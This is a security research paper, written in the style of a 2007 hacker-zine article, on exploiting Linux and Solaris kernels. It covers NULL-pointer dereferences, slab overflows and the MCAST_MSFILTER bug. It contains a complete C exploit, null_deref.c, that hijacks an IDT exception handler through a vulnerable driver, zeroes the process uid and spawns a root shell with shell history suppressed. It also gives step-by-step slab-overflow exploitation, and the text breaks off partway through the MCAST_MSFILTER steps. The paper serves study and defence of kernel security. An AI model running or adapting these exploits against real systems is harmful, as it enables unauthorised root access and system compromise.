|=‑‑‑‑‑‑‑‑‑‑‑‑=[ Attacking the Core : Kernel Exploiting Notes ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑=[ sgrakkyu@antifork.org and twiz@email.it ]=‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ February 12 2007 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑‑‑‑‑[ Index

1 ‑ The playground

1.1 ‑ Kernel/Userland virtual address space layouts 1.2 ‑ Dummy device driver and real vulnerabilities

1.3 ‑ Notes about information gathering

2 ‑ Kernel vulnerabilities and bugs

2.1 ‑ NULL/userspace dereference vulnerabilities 2.1.1 ‑ NULL/userspace dereference vulnerabilities : null_deref.c 2.2 ‑ The Slab Allocator

2.2.1 ‑ Slab overflow vulnerabilities

2.2.2 ‑ Slab overflow exploiting : MCAST_MSFILTER 2.2.3 ‑ Slab overflow vulnerabilities : Solaris notes 2.3 ‑ Stack overflow vulnerabilities

2.3.1 ‑ UltraSPARC exploiting

2.3.2 ‑ A reliable Solaris/UltraSPARC exploit

2.4 ‑ A primer on logical bugs : race conditions 2.4.1 ‑ Forcing a kernel path to sleep

2.4.2 ‑ AMD64 and race condition exploiting: sendmsg

3 ‑ Advanced scenarios

3.1 ‑ PaX KERNEXEC & separated kernel/user space

3.2 ‑ Remote Kernel Exploiting

3.2.1 ‑ The Network Contest

3.2.2 ‑ Stack Frame Flow Recovery

3.2.3 ‑ Resources Restoring

3.2.4 ‑ Copying the Stub

3.2.5 ‑ Executing Code in Userspace Context [Gimme Life!] 3.2.6 ‑ The Code : sendtwsk.c

4 ‑ Final words

5 ‑ References

6 ‑ Sources : drivers and exploits [stuff.tgz]

‑‑‑‑‑‑[ Intro

The latest years have seen an increasing interest towards kernel based explotation. The growing diffusion of "security prevention" approaches (no‑exec stack, no‑exec heap, ascii‑armored library mmapping, mmap/stack and generally virtual layout randomization, just to point out the most known) has/is made/making userland explotation harder and harder. Moreover there has been an extensive work of auditing on application codes, so that new bugs are generally more complex to handle and exploit.

The attentions has so turned towards the core of the operating systems, towards kernel (in)security. This paper will attempt to give an insight into kernel explotation, with examples for IA‑32, UltraSPARC and AMD64. Linux and Solaris will be the target operating systems. More precisely, an architecture on turn will be the main covered for the three main exploiting demonstration categories : slab (IA‑32), stack (UltraSPARC) and race condtion (AMD64). The details explained in those 'deep focus' apply, thou, almost in toto to all the others exploiting scenarios.

Since explotation examples are surely interesting but usually do not show the "effective" complexity of taking advantages of vulnerabilities, a couple of working real‑life exploits will be presented too.

‑‑‑‑‑‑[ 1 ‑ The playground

Let's just point out that, before starting : "bruteforcing" and "kernel" aren't two words that go well together. One can't just crash over and over the kernel trying to guess the right return address or the good alignment. An error in kernel explotation leads usually to a crash, panic or unstable state of the operating system.

The "information gathering" step is so definitely important, just like a good knowledge of the operating system layout.

‑‑‑[ 1.1 ‑ Kernel/Userland virtual address space layouts

From the userland point of view, we don't see almost anything of the kernel layout nor of the addresses at which it is mapped [there are indeed a couple of information that we can gather from userland, and we're going to point them out after].

Netherless it is from the userland that we have to start to carry out our attack and so a good knowledge of the kernel virtual memory layout (and implementation) is, indeed, a must.

There are two possible address space layouts :

‑ kernel space on behalf of user space (kernel page tables are replicated over every process; the virtual address space is splitted in two parts, one for the kernel and one for the processes). Kernels running on x86, AMD64 and sun4m/sun4d architectures usually have this kind of implementation.

‑ separated kernel and process address space (both can use the whole address space). Such an implementation, to be efficient, requires a dedicated support from the underlaining architecture. It is the case of the primary and secondary context register used in conjunction with the ASI identifiers on the UltraSPARC (sun4u/sun4v) architecture.

To see the main advantage (from an exploiting perspective) of the first approach over the second one we need to introduce the concept of "process context".

Any time the CPU is in "supervisor" mode (the well‑known ring0 on ia‑32), the kernel path it is executing is said to be in interrupt context if it hasn't a backing process.

Code in interrupt context can't block (for example waiting for demand paging to bring in a referenced userspace page): the scheduler is unable to know what to put to sleep (and what to wake up after).

Code running in process context has instead an associated process (usually the one that "generated" the kernel code path, for example issuing a systemcall) and is free to block/sleep (and so, it's free to reference the userland virtual address space).

This is a good news on systems which implement a combined user/kernel address space, since, while executing at kernel level, we can dereference (or jump to) userland addresses.

The advantages are obvious (and many) :

‑ we don't have to "guess" where our shellcode will be and we can write it in C (which makes easier the writing, if needed, of long and somehow complex recovery code)

‑ we don't have to face the problem of finding a suitable large and safe place to store it.

‑ we don't have to worry about no‑exec page protection (we're free to mmap/mremap as we wish, and, obviously, load directly the code in .text segment, if we don't need to patch it at runtime).

‑ we can mmap large portions of the address space and fill them with nops or nop‑alike code/data (useful when we don't completely control the return address or the dereference)

‑ we can easily take advantage of the so‑called "NULL pointer dereference bugs" ("technically" described later on)

The space left to the kernel is so limited in size : on the x86 architecture it is 1 Gigabyte on Linux and it fluctuates on Solaris depending on the amount of physical memory (check usr/src/uts/i86pc/os/startup.c inside Opensolaris sources). This fluctuation turned out to be necessary to avoid as much as possible virtual memory ranges wasting and, at the same time, avoid pressure over the space reserved to the kernel.

The only limitation to kernel (and processes) virtual space on systems implementing an userland/kerneland separated address space is given by the architecture (UltraSPARC I and II can reference only 44bit of the whole 64bit addressable space. This VA‑hole is placed among 0x0000080000000000 and 0xFFFFF7FFFFFFFFFF).

This memory model makes explotation indeed harder, because we can't directly dereference the userspace. The previously cited NULL pointer dereferences are pretty much un‑exploitable.

Moreover, we can't rely on "valid" userland addresses as a place to store our shellcode (or any other kernel emulation data), neither we can "return to userspace".

We won't go more in details here with a teorical description of the architectures (you can check the reference manuals at [1], [2] and [3]) since we've preferred to couple the analysis of the architectural and operating systems internal aspects relevant to explotation with the effective exploiting codes presentation.

‑‑‑[ 1.2 ‑ Dummy device driver and real vulnerabilities

As we said in the introduction, we're going to present a couple of real working exploit, hoping to give a better insight into the whole kernel explotation process.

We've written exploit for :

‑ MCAST_MSFILTER vulnerability [4], used to demonstrate kernel slab overflow exploiting

‑ sendmsg vulnerability [5], used to demonstrate an effective race condition (and a stack overflow on AMD64)

‑ madwifi SIOCGIWSCAN buffer overflow [21], used to demonstrate a real remote exploit for the linux kernel. That exploit was already released at [22] before the exit of this paper (which has a more detailed discussion of it and another 'dummy based' exploit for a more complex scenario)

Moreover, we've written a dummy device driver (for Linux and Solaris) to demonstrate with examples the techniques presented.

A more complex remote exploit (as previously mentioned) and an exploit capable to circumvent Linux with PaX/KERNEXEC (and userspace/kernelspace separation) will be presented too.

‑‑‑[ 1.3 ‑ Notes about information gathering

Remember when we were talking about information gathering ? Nearly every operating systems 'exports' to userland information useful for developing and debugging. Both Linux and Solaris (we're not taking in account now 'security patches') expose readable by the user the list and addresses of their exported symbols (symbols that module writer can reference) : /proc/ksyms on Linux 2.4, /proc/kallsyms on Linux 2.6 and /dev/ksyms on Solaris (the first two are text files, the last one is an ELF with SYMTAB section).

Those files provide useful information about what is compiled in inside the kernel and at what addresses are some functions and structs, addresses that we can gather at runtime and use to increase the reliability of our exploit.

But theese information could be missing on some environment, the /proc filesystem could be un‑mounted or the kernel compiled (along with some security switch/patch) to not export them.

This is more a Linux problem than a Solaris one, nowadays. Solaris exports way more information than Linux (probably to aid in debugging without having the sources) to the userland. Every module is shown with its loading address by 'modinfo', the proc interface exports the address of the kernel 'proc_t' struct to the userland (giving a crucial entrypoint, as we will see, for the explotation on UltraSPARC systems) and the 'kstat' utility lets us investigate on many kernel parameters.

In absence of /proc (and /sys, on Linux 2.6) there's another place we can gather information from, the kernel image on the filesystem. There are actually two possible favourable situations :

‑ the image is somewhere on the filesystem and it's readable, which is the default for many Linux distributions and for Solaris

‑ the target host is running a default kernel image, both from installation or taken from repository. In that situation is just a matter of recreating the same image on our system and infere from it. This should be always possible on Solaris, given the patchlevel (taken from 'uname' and/or 'showrev ‑p').

Things could change if OpenSolaris takes place, we'll see.

The presence of the image (or the possibility of knowing it) is crucial for the KERN_EXEC/separated userspace/kernelspace environment explotation presented at the end of the paper.

Given we don't have exported information and the careful administrator has removed running kernel images (and, logically, in absence of kernel memory leaks ;)) we've one last resource that can help in explotation : the architecture.

Let's take the x86 arch, a process running at ring3 may query the logical address and offset/attribute of processor tables GDT,LDT,IDT,TSS :

‑ through 'sgdt' we get the base address and max offset of the GDT ‑ through 'sldt' we can get the GDT entry index of current LDT ‑ through 'sidt' we can get the base address and max offset of IDT ‑ through 'str' we can get the GDT entry index of the current TSS

The best choice (not the only one possible) in that case is the IDT. The possibility to change just a single byte in a controlled place of it leads to a fully working reliable exploit [*].

[*] The idea here is to modify the MSB of the base_address of an IDT entry and so "hijack" the exception handler. Logically we need a controlled byte overwriting or a partially controlled one with byte value below the 'kernelbase' value, so that we can make it point into the userland portion. We won't go in deeper details about the IDT layout/implementation here, you can find them inside processor manuals [1] and kad's phrack59 article "Handling the Interrupt Descriptor Table" [6].

The NULL pointer dereference exploit presented for Linux implements this technique.

As important as the information gathering step is the recovery step, which aims to leave the kernel in a consistent state. This step is usually performed inside the shellcode itself or just after the exploit has (successfully) taken place, by using /dev/kmem or a loadable module (if possible).

This step is logically exploit‑dependant, so we will just explain it along with the examples (making a categorization would be pointless).

‑‑‑‑‑‑[ 2 ‑ Kernel vulnerabilities and bugs

We start now with an excursus over the various typologies of kernel vulnerabilities. The kernel is a big and complex beast, so even if we're going to track down some "common" scenarios, there are a lot of more possible "logical bugs" that can lead to a system compromise.

We will cover stack based, "heap" (better, slab) based and NULL/userspace dereference vulnerabilities. As an example of a "logical bug" a whole chapter is dedicated to race condition and techniques to force a kernel path to sleep/reschedule (along with a real exploit for the sendmsg [4] vulnerability on AMD64).

We won't cover in this paper the range of vulnerabilities related to virtual memory logical errors, since those have been already extensively described and cleverly exploited, on Linux, by iSEC [7] people. Moreover, it's nearly useless, in our opinion, to create a "crafted" demonstrative vulnerable code for logical bugs and we weren't aware of any _public_ vuln of this kind on Solaris. If you are, feel free to submit it, we'll be happy to work over ;).

‑‑‑[ 2.1 ‑ NULL/userspace dereference vulnerabilities

This kind of vulnerability derives from the using of a pointer not‑initialized (generally having a NULL value) or trashed, so that it points inside the userspace part of the virtual memory address space. The normal behaviour of an operating system in such a situation is an oops or a crash (depending on the degree of severity of the dereference) while attempting to access un‑mapped memory.

But we can, obviously, mmap that memory range and let the kernel find "valid" malicius data. That's more than enough to gain root priviledges. We can delineate two possible scenarios :

‑ instruction pointer modification (direct call/jmp dereference, called function pointers inside a struct, etc)

‑ "controlled" write on kernelspace

The first kind of vulnerability is really trivial to exploit, it's just a matter of mmapping the referenced page and put our shellcode there. If the dereferenced address is a struct with inside a function pointer (or a chain of struct with somewhere a function pointer), it is just a matter of emulating in userspace those struct, make point the function pointer to our shellcode and let/force the kernel path to call it.

We won't show an example of this kind of vulnerability since this is the "last stage" of any more complex exploit (as we will see, we'll be always trying, when possible, to jump to userspace).

The second kind of vulnerability is a little more complex, since we can't directly modify the instruction pointer, but we've the possibility to write anywhere in kernel memory (with controlled or uncontrolled data).

Let's get a look to that snipped of code, taken from our Linux dummy device driver :

< stuff/drivers/linux/dummy.h >

[...]

struct user_data_ioctl

{

int size;

char *buffer;

};

< / >

< stuff/drivers/linux/dummy.c >

static int alloc_info(unsigned long sub_cmd)

{

struct user_data_ioctl user_info;

struct info_user *info;

struct user_perm *perm;

[...]

if(copy_from_user(&user_info,

(void __user*)sub_cmd, sizeof(struct user_data_ioctl))) return ‑EFAULT;

if(user_info.size > MAX_STORE_SIZE) [1]

return ‑ENOENT;

info = kmalloc(sizeof(struct info_user), GFP_KERNEL); if(!info)

return ‑ENOMEM;

perm = kmalloc(sizeof(struct user_perm), GFP_KERNEL); if(!perm)

return ‑ENOMEM;

info‑>timestamp = 0;//sched_clock();

info‑>max_size = user_info.size;

info‑>data = kmalloc(user_info.size, GFP_KERNEL); [2]

/* unchecked alloc */

perm‑>uid = current‑>uid;

info‑>data‑>perm = perm; [3]

glob_info = info;

[...]

static int store_info(unsigned long sub_cmd)

{

[...]

glob_info‑>data‑>perm‑>uid = current‑>uid; [4]

[...]

< / >

Due to the integer signedness issue at [1], we can pass a huge value to the kmalloc at [2], making it fail (and so return NULL). The lack of checking at that point leaves a NULL value in the info‑>data pointer, which is later used, at [3] and also inside store_info at [4] to save the current uid value.

What we have to do to exploit such a code is simply mmap the zero page (0x00000000 ‑ NULL) at userspace, make the kmalloc fail by passing a negative value and then prepare a 'fake' data struct in the previously mmapped area, providing a working pointers for 'perm' and thus being able to write our 'uid' anywhere in memory.

At that point we have many ways to exploit the vulnerable code (exploiting while being able to write anywhere some arbitrary or, in that case, partially controlled data is indeed limited only by imagination), but it's better to find a "working everywhere" way.

As we said above, we're going to use the IDT and overwrite one of its entries (more precisely a Trap Gate, so that we're able to hijack an exception handler and redirect the code‑flow towards userspace). Each IDT entry is 64‑bit (8‑bytes) long and we want to overflow the 'base_offset' value of it, to be able to modify the MSB of the exception handler routine address and thus redirect it below PAGE_OFFSET (0xc0000000) value.

Since the higher 16 bits are in the 7th and 8th byte of the IDT entry, that one is our target, but we're are writing at [4] 4 bytes for the 'uid' value, so we're going to trash the next entry. It is better to use two adiacent 'seldomly used' entries (in case, for some strange reason, something went bad) and we have decided to use the 4th and 5th entries : #OF (Overflow Exception) and #BR (BOUND Range Exeeded Exeption).

At that point we don't control completely the return address, but that's not a big problem, since we can mmap a large region of the userspace and fill it with NOPs, to prepare a comfortable and safe landing point for our exploit. The last thing we have to do is to restore, once we get the control flow at userspace, the original IDT entries, hardcoding the values inside the shellcode stub or using an lkm or /dev/kmem patching code.

At that point our exploit is ready to be launched for our first 'rootshell'.

As a last (indeed obvious) note, NULL dereference vulnerabilities are only exploitable on 'combined userspace and kernelspace' memory model operating systems.

‑‑‑[ 2.1.1 ‑ NULL/userspace dereference vulnerabilities : null_deref.c

< stuff/expl/null_deref.c >

#include <sys/ioctl.h>

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <sys/mman.h>

#include "dummy.h"

#define DEVICE "/dev/dummy"

#define NOP 0x90

#define STACK_SIZE 8192

//#define STACK_SIZE 4096

#define PAGE_SIZE 0x1000

#define PAGE_OFFSET 12

#define PAGE_MASK ~(PAGE_SIZE ‑1)

#define ANTANI "antani"

uint32_t bound_check[2]={0x00,0x00};

extern void do_it();

uid_t UID;

void do_bound_check()

{

asm volatile("bound %1, %0\t\n" : "=m"(bound_check) : "a"(0xFF)); }

/* simple shell spown */

void get_root()

{

char *argv[] = { "/bin/sh", "‑‑noprofile", "‑‑norc", NULL }; char *envp[] = { "TERM=linux", "PS1=y0y0\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", NULL };

execve("/bin/sh", argv, envp);

fprintf(stderr, "[**] Execve failed\n");

exit(‑1);

}

/* this function is called by fake exception handler: take 0 uid and restore trashed entry */

void give_priv_and_restore(unsigned int thread)

{

int i;

unsigned short addr;

unsigned int* p = (unsigned int*)thread;

/* simple trick */

for(i=0; i < 0x100; i++)

if( (p[i] == UID) && (p[i+1] == UID) && (p[i+2] == UID) && (p[i+3] == UID) ) p[i] = 0, p[i+1] = 0;

}

#define CODE_SIZE 0x1e

void dummy(void)

{

asm("do_it:;"

"addl $6, (%%esp);" // after bound exception EIP points again to the bound instruction

"pusha;"

"movl %%esp, %%eax;"

"andl %0, %%eax;"

"movl (%%eax), %%eax;"

"add $100, %%eax;"

"pushl %%eax;"

"movl $give_priv_and_restore, %%ebx;"

"call *%%ebx;"

"popl %%eax;"

"popa;"

"iret;"

"nop;nop;nop;nop;"

:: "i"( ~(STACK_SIZE ‑1))

);

return;

}

struct idt_struct

{

uint16_t limit;

uint32_t base;

} __attribute__((packed));

static char *allocate_frame_chunk(unsigned int base_addr,

unsigned int size,

void* code_addr)

{

unsigned int round_addr = base_addr & PAGE_MASK;

unsigned int diff = base_addr ‑ round_addr;

unsigned int len = (size + diff + (PAGE_SIZE‑1)) & PAGE_MASK;

char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0,

0);

if(map_addr == MAP_FAILED)

return MAP_FAILED;

if(code_addr)

{

memset(map_addr, NOP, len);

memcpy(map_addr, code_addr, size);

}

else

memset(map_addr, 0x00, len);

return (char*)base_addr;

}

inline unsigned int *get_zero_page(unsigned int size)

{

return (unsigned int*)allocate_frame_chunk(0x00000000, size, NULL); }

#define BOUND_ENTRY 5

unsigned int get_BOUND_address()

{

struct idt_struct idt;

asm volatile("sidt %0\t\n" : "=m"(idt));

return idt.base + (8*BOUND_ENTRY);

}

unsigned int prepare_jump_code()

{

UID = getuid(); /* set global uid */

unsigned int base_address = ((UID & 0x0000FF00) << 16) + ((UID & 0xFF) << 16); printf("Using base address of: 0x%08x‑0x%08x\n", base_address, base_address + 0x20000 ‑1); char *addr = allocate_frame_chunk(base_address, 0x20000, NULL); if(addr == MAP_FAILED)

{

perror("unable to mmap jump code");

exit(‑1);

}

memset((void*)base_address, NOP, 0x20000); memcpy((void*)(base_address + 0x10000), do_it, CODE_SIZE);

return base_address;

}

int main(int argc, char *argv[])

{

struct user_data_ioctl user_ioctl;

unsigned int *zero_page, *jump_pages, save_ptr;

zero_page = get_zero_page(PAGE_SIZE);

if(zero_page == MAP_FAILED)

{

perror("mmap: unable to map zero page");

exit(‑1);

}

jump_pages = (unsigned int*)prepare_jump_code();

int ret, fd = open(DEVICE, O_RDONLY), alloc_size;

if(argc > 1)

alloc_size = atoi(argv[1]);

else

alloc_size = PAGE_SIZE‑8;

if(fd < 0)

{

perror("open: dummy device");

exit(‑1);

}

memset(&user_ioctl, 0x00, sizeof(struct user_data_ioctl)); user_ioctl.size = alloc_size;

ret = ioctl(fd, KERN_IOCTL_ALLOC_INFO, &user_ioctl);

if(ret < 0)

{

perror("ioctl KERN_IOCTL_ALLOC_INFO");

exit(‑1);

}

/* save old struct ptr stored by kernel in the first word */

save_ptr = *zero_page;

/* compute the new ptr inside the IDT table between BOUND and INVALIDOP exception */

printf("IDT bound: %x\n", get_BOUND_address());

*zero_page = get_BOUND_address() + 6;

user_ioctl.size=strlen(ANTANI)+1;

user_ioctl.buffer=ANTANI;

ret = ioctl(fd, KERN_IOCTL_STORE_INFO, &user_ioctl);

getchar();

do_bound_check();

/* restore trashed ptr */

*zero_page = save_ptr;

ret = ioctl(fd, KERN_IOCTL_FREE_INFO, NULL);

if(ret < 0)

{

perror("ioctl KERN_IOCTL_FREE_INFO");

exit(‑1);

}

get_root();

return 0;

}

< / >

‑‑‑[ 2.2 ‑ The Slab Allocator

The main purpose of a slab allocator is to fasten up the allocation/deallocation of heavily used small 'objects' and to reduce the fragmentation that would derive from using the page‑based one. Both Solaris and Linux implement a slab memory allocator which derives from the one described by Bonwick [8] in 1994 and implemented in Solaris 2.4.

The idea behind is, basically : objects of the same type are grouped together inside a cache in their constructed form. The cache is divided in 'slabs', consisting of one or more contiguos page frames. Everytime the Operating Systems needs more objects, new page frames (and thus new 'slabs') are allocated and the object inside are constructed. Whenever a caller needs one of this objects, it gets returned an already prepared one, that it has only to fill with valid data. When an object is 'freed', it doesn't get destructed, but simply returned to its slab and marked as available.

Caches are created for the most used objects/structs inside the operating system, for example those representing inodes, virtual memory areas, etc. General‑purpose caches, suitables for small memory allocations, are created too, one for each power of two, so that internal fragmentation is guaranted to be at least below 50%.

The Linux kmalloc() and the Solaris kmem_alloc() functions use exactly those latter described caches. Since it is up to the caller to 'clean' the object returned from a slab (which could contain 'dead' data), wrapper functions that return zeroed memory are usually provided too (kzalloc(), kmem_zalloc()).

An important (from an exploiting perspective) 'feature' of the slab allocator is the 'bufctl', which is meaningful only inside a free object, and is used to indicate the 'next free object'.

A list of free object that behaves just like a LIFO is thus created, and we'll see in a short that it is crucial for reliable explotation.

To each slab is associated a controlling struct (kmem_slab_t on Solaris, slab_t on Linux) which is stored inside the slab (at the start, on Linux, at the end, on Solaris) if the object size is below a given limit (1/8 of the page), or outside it.

Since there's a 'cache' per 'object type', it's not guaranted at all that those 'objects' will stay exactly in a page boundary inside the slab. That 'free' space (space not belonging to any object, nor to the slab controlling struct) is used to 'color' the slab, respecting the object alignment (if 'free' < 'alignment' no coloring takes place).

The first object is thus saved at a 'different offset' inside the slab, given from 'color value' * 'alignment', (and, consequently, the same happens to all the subsequent objects), so that object of the same size in different slabs will less likely end up in the same hardware cache lines.

We won't go more in details about the Slab Allocator here, since it is well and extensively explained in many other places, most notably at [9], [10], and [11], and we move towards effective explotation.

Some more implementation details will be given, thou, along with the exploiting techniques explanation.

‑‑‑[ 2.2.1 ‑ Slab overflow vulnerabilities

NOTE: as we said before, Solaris and Linux have two different function to alloc from the general purpose caches, kmem_alloc() and kmalloc(). That two functions behave basically in the same manner, so, from now on we'll just use 'kmalloc' and 'kmalloc'ed memory' in the discussion, referring thou to both the operating systems implementation.

A slab overflow is simply the writing past the buffer boundaries of a kmalloc'ed object. The result of this overflow can be :

‑ overwriting an adiacent in‑slab object.

‑ overwriting a page next to the slab one, in the case we're overwriting past the last object.

‑ overwriting the control structure associated with the slab (Solaris only)

The first case is the one we're going to show an exploit for. The main idea on such a situation is to fill the slabs (we can track the slab status thanks to /proc/slabinfo on Linux and kstat ‑n 'cache_name' on Solaris) so that a new one is necessary.

We do that to be sure that we'll have a 'controlled' bufctl : since the whole slabs were full, we got a new page, along with a 'fresh' bufctl pointer starting from the first object.

At that point we alloc two objects, free the first one and trigger the vulnerable code : it will request a new object and overwrite right into the previously allocated second one. If a pointer inside this second object is stored and then used (after the overflow) it is under our control.

This approach is very reliable.

The second case is more complex, since we haven't an object with a pointer or any modifiable data value of interest to overwrite into. We still have one chance, thou, using the page frame allocator.

We start eating a lot of memory requesting the kind of 'page' we want to overflow into (for example, tons of filedescriptor), putting the memory under pressure. At that point we start freeing a couple of them, so that the total amount counts for a page.

At that point we start filling the slab so that a new page is requested. If we've been lucky the new page is going to be just before one of the previously allocated ones and we've now the chance to overwrite it.

The main point affecting the reliability of such an exploit is :

‑ it's not trivial to 'isolate' a given struct/data to mass alloc at the first step, without having also other kernel structs/data growing together with.

An example will clarify : to allocate tons of file descriptor we need to create a large amount of threads. That translates in the allocation of all the relative control structs which could end up placed right after our overflowing buffer.

The third case is possible only on Solaris, and only on slabs which keep objects smaller than 'page_size >> 3'. Since Solaris keeps the kmem_slab struct at the end of the slab we can use the overflow of the last object to overwrite data inside it.

In the latter two 'typology' of exploit presented we have to take in account slab coloring. Both the operating systems store the 'next color offset' inside the cache descriptor, and update it at every slab allocation (let's see an example from OpenSolaris sources) :

< usr/src/uts/common/os/kmem.c >

static kmem_slab_t *

kmem_slab_create(kmem_cache_t *cp, int kmflag)

{

[...]

size_t color, chunks;

[...]

color = cp‑>cache_color + cp‑>cache_align;

if (color > cp‑>cache_maxcolor)

color = cp‑>cache_mincolor; cp‑>cache_color = color;

< / >

'mincolor' and 'maxcolor' are calculated at cache creation and represent the boundaries of available caching :

# uname ‑a

SunOS principessa 5.9 Generic_118558‑34 sun4u sparc SUNW,Ultra‑5_10 # kstat ‑n file_cache | grep slab

slab_alloc 280

slab_create 2

slab_destroy 0

slab_free 0

slab_size 8192

# kstat ‑n file_cache | grep align

align 8

# kstat ‑n file_cache | grep buf_size

buf_size 56

# mdb ‑k

Loading modules: [ unix krtld genunix ip usba nfs random ptm ]

> ::sizeof kmem_slab_t

sizeof (kmem_slab_t) = 0x38

> ::kmem_cache ! grep file_cache

00000300005fed88 file_cache 0000 000000 56 290 > 00000300005fed88::print kmem_cache_t cache_mincolor cache_mincolor = 0

> 00000300005fed88::print kmem_cache_t cache_maxcolor cache_maxcolor = 0x10

> 00000300005fed88::print kmem_cache_t cache_color

cache_color = 0x10

> ::quit

As you can see, from kstat we know that 2 slabs have been created and we know the alignment, which is 8. Object size is 56 bytes and the size of the in‑slab control struct is 56, too. Each slab is 8192, which, modulo 56 gives out exactly 16, which is the maxcolor value (the color range is thus 0 ‑ 16, which leads to three possible coloring with an alignment of 8).

Based on the previous snippet of code, we know that first allocation had a coloring of 8 ( mincolor == 0 + align == 8 ), the second one of 16 (which is the value still recorded inside the kmem_cache_t).

If we were for exhausting this slab and get a new one we would know for sure that the coloring would be 0.

Linux uses a similar 'circolar' coloring too, just look forward for 'kmem_cache_t'‑>colour_next setting and incrementation.

Both the operating systems don't decrement the color value upon freeing of a slab, so that has to be taken in account too (easy to do on Solaris, since slab_create is the maximum number of slabs created).

‑‑‑[ 2.2.2 ‑ Slab overflow exploiting : MCAST_MSFILTER

Given the technical basis to understand and exploit a slab overflow, it's time for a practical example.

We're presenting here an exploit for the MCAST_MSFILTER [4] vulnerability found by iSEC people :

< linux‑2.4.24/net/ipv4/ip_sockglue.c >

case MCAST_MSFILTER:

{

struct sockaddr_in *psin;

struct ip_msfilter *msf = 0;

struct group_filter *gsf = 0;

int msize, i, ifindex;

if (optlen < GROUP_FILTER_SIZE(0))

goto e_inval;

gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); [2] if (gsf == 0) {

err = ‑ENOBUFS;

break;

}

err = ‑EFAULT;

if (copy_from_user(gsf, optval, optlen)) { [3] goto mc_msf_out;

}

if (GROUP_FILTER_SIZE(gsf‑>gf_numsrc) < optlen) { [4] err = EINVAL;

goto mc_msf_out;

}

msize = IP_MSFILTER_SIZE(gsf‑>gf_numsrc); [1]

msf = (struct ip_msfilter *)kmalloc(msize,GFP_KERNEL); [7] if (msf == 0) {

err = ‑ENOBUFS;

goto mc_msf_out;

}

[...]

msf‑>imsf_multiaddr = psin‑>sin_addr.s_addr; msf‑>imsf_interface = 0;

msf‑>imsf_fmode = gsf‑>gf_fmode;

msf‑>imsf_numsrc = gsf‑>gf_numsrc;

err = ‑EADDRNOTAVAIL;

for (i=0; i<gsf‑>gf_numsrc; ++i) { [5] psin = (struct sockaddr_in *)&gsf‑>gf_slist[i];

if (psin‑>sin_family != AF_INET) [8] goto mc_msf_out; msf‑>imsf_slist[i] = psin‑>sin_addr.s_addr; [6]

[...]

mc_msf_out:

if (msf)

kfree(msf);

if (gsf)

kfree(gsf);

break;

[...]

< / >

< linux‑2.4.24/include/linux/in.h >

#define IP_MSFILTER_SIZE(numsrc) \ [1]

(sizeof(struct ip_msfilter) ‑ sizeof(__u32) \

+ (numsrc) * sizeof(__u32))

[...]

#define GROUP_FILTER_SIZE(numsrc) \ [4]

(sizeof(struct group_filter) ‑ sizeof(struct __kernel_sockaddr_storage) \

+ (numsrc) * sizeof(struct __kernel_sockaddr_storage))

< / >

The vulnerability consist of an integer overflow at [1], since we control the gsf struct as you can see from [2] and [3].

The check at [4] proved to be, initially, a problem, which was resolved thanks to the slab property of not cleaning objects on free (back on that in a short).

The for loop at [5] is where we effectively do the overflow, by writing, at [6], the 'psin‑>sin_addr.s_addr' passed inside the gsf struct over the previously allocated msf [7] struct (kmalloc'ed with bad calculated 'msize' value).

This for loop is a godsend, because thanks to the check at [8] we are able to avoid the classical problem with integer overflow derived bugs (that is writing _a lot_ after the buffer due to the usually huge value used to trigger the overflow) and exit cleanly through mc_msf_out.

As explained before, while describing the 'first explotation approach', we need to find some object/data that gets kmalloc'ed in the same slab and which has inside a pointer or some crucial‑value that would let us change the execution flow.

We found a solution with the 'struct shmid_kernel' :

< linux‑2.4.24/ipc/shm.c >

struct shmid_kernel /* private to the kernel */

{

struct kern_ipc_perm shm_perm;

struct file * shm_file;

int id;

[...]

};

[...]

asmlinkage long sys_shmget (key_t key, size_t size, int shmflg)

{

struct shmid_kernel *shp;

int err, id = 0;

down(&shm_ids.sem);

if (key == IPC_PRIVATE) {

err = newseg(key, shmflg, size);

[...]

static int newseg (key_t key, int shmflg, size_t size)

{

[...]

shp = (struct shmid_kernel *) kmalloc (sizeof (*shp), GFP_USER); [...]

}

As you see, struct shmid_kernel is 64 bytes long and gets allocated using kmalloc (size‑64) generic cache [ we can alloc as many as we want (up to fill the slab) using subsequent 'shmget' calls ].

Inside it there is a struct file pointer, that we could make point, thanks to the overflow, to the userland, where we will emulate all the necessary structs to reach a function pointer dereference (that's exactly what the exploit does).

Now it is time to force the msize value into being > 32 and =< 64, to make it being alloc'ed inside the same (size‑64) generic cache.

'Good' values for gsf‑>gf_numsrc range from 0x40000005 to 0x4000000c. That raises another problem : since we're able to write 4 bytes for every __kernel_sockaddr_storage present in the gsf struct we need a pretty large one to reach the 'shm_file' pointer, and so we need to pass a large 'optlen' value.

The 0x40000005 ‑ 0x4000000c range, thou, makes the GROUP_FILTER_SIZE() macro used at [4] evaluate to a positive and small value, which isn't large enough to reach the 'shm_file' pointer.

We solved that problem thanks to the fact that, once an object is free'd, its 'memory contents' are not zero'ed (or cleaned in any way). Since the copy_from_user at [3] happens _before_ the check at [4], we were able to create a sequence of 1024‑sized objects by repeatedly issuing a failing (at [4]) 'setsockopt', thus obtaining a large‑enough one.

Hoping to make it clearer let's sum up the steps :

‑ fill the 1024 slabs so that at next allocation a fresh one is returned ‑ alloc the first object of the new 1024‑slab.

‑ use as many 'failing' setsockopt as needed to copy values inside objects 2 and 3 [and 4, if needed, not the usual case thou] ‑ free the first object

‑ use a smaller (but still 1024‑slab allocation driving) value for optlen that would pass the check at [4]

